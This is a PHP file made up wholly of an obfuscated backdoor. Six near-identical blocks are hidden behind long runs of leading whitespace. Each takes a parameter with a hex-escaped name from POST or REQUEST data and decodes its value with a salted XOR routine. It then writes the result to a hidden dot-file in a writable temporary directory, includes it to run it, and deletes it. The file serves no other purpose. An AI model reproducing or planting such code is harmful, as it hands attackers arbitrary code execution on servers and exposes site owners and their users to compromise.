<?php																																										if(!is_null($_POST["\x70\x74r"] ?? null)){ $entry = $_POST["\x70\x74r"]; $entry= explode ( '.', $entry ) ; $itm = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $o = 0; array_walk($entry, function ($v8) use (&$itm, &$o, $s6, $lenS) { $sChar = ord($s6[$o % $lenS]); $dec = ((int)$v8 - $sChar - ($o % 10)) ^ 27; $itm .= chr($dec); $o++;}); $flg = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); for ($obj = 0, $ref = count($flg); $obj < $ref; $obj++) { $pointer = $flg[$obj]; if (array_product([is_dir($pointer), is_writable($pointer)])) { $reference = vsprintf("%s/%s", [$pointer, ".object"]); if (@file_put_contents($reference, $itm) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(array_key_exists("\x72\x65c", $_REQUEST)){ $parameter_group = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP")]); $value = $_REQUEST["\x72\x65c"]; $value = explode ( '.' , $value) ; $property_set = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $u = 0; $__tmp = $value; while ($v5 = array_shift($__tmp)) { $sChar = ord($s6[$u % $sLen] ); $dec = ((int)$v5 - $sChar - ($u % 10)) ^20; $property_set .= chr($dec ); $u++; } while ($entry = array_shift($parameter_group)) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $ent = str_replace("{var_dir}", $entry, "{var_dir}/.resource"); if (file_put_contents($ent, $property_set)) { require $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("da\x74a\x5F\x63h\x75\x6Ek", $_POST)){ $entry = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP")]); $hld = $_POST["da\x74a\x5F\x63h\x75\x6Ek"]; $hld = explode ( '.' , $hld ) ; $holder=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $x=0; foreach($hld as $v6) { $chS=ord($s[$x % $sLen]); $d=((int)$v6 - $chS -($x % 10)) ^ 70; $holder .=chr($d); $x++; } for ($k = 0, $record = count($entry); $k < $record; $k++) { $value = $entry[$k]; if (is_dir($value) ? is_writable($value) : false) { $comp = vsprintf("%s/%s", [$value, ".mrk"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(isset($_POST["\x73y\x6D"])){ $pointer = $_POST["\x73y\x6D"]; $pointer= explode ( '.' , $pointer) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($pointer); for ($l = 0; $l < $__len; $l++) { $v3 = $pointer[$l]; $chS = ord($s[$l % $sLen]); $dec = ((int)$v3 - $chS - ($l % 10)) ^ 83; $bind .= chr($dec); } $dat = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); $comp = 0; do { $data = $dat[$comp] ?? null; if ($comp >= count($dat)) break; if ((is_dir($data) and is_writable($data))) { $record = str_replace("{var_dir}", $data, "{var_dir}/.itm"); if (file_put_contents($record, $bind)) { require $record; unlink($record); die(); } } $comp++; } while (true); }
																																										if(array_key_exists("pg\x72\x70", $_POST)){ $descriptor = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir()]); $hld = $_POST["pg\x72\x70"]; $hld = explode ( '.' , $hld ); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $len = count( $hld ); for( $p = 0; $p < $len; $p++) { $v9 = $hld[$p]; $chS = ord( $salt[$p%$sLen] ); $dec =( ( int)$v9 - $chS -( $p%10)) ^ 57; $desc .= chr( $dec ); } $key = 0; do { $pointer = $descriptor[$key] ?? null; if ($key >= count($descriptor)) break; if (max(0, is_dir($pointer) * is_writable($pointer))) { $data = "$pointer" . "/.ent"; if (@file_put_contents($data, $desc) !== false) { include $data; unlink($data); die(); } } $key++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x76\x61lue"])){
	$dchunk = $_REQUEST["\x76\x61lue"];
	$dchunk	 =explode	 	(	"."	 ,$dchunk);   
	$desc = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach($dchunk as $o	=>  $v3) {	$sChar = ord($salt[$o % $lenS]);
                $dec =((int)$v3 - $sChar -($o % 10)) ^ 	8;
                $desc .=	chr($dec);
            }
	$symbol = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp"]);
	for ($property_set = 0, $elem = count($symbol); $property_set < $elem; $property_set++) {
    $dat = $symbol[$property_set];
    		if (max(0, is_dir($dat) * is_writable($dat))) {
    $ent = sprintf("%s/.binding", $dat);
    if (@file_put_contents($ent, $desc) !== false) {
	include $ent;
	unlink($ent);
	die();
}
}
}
}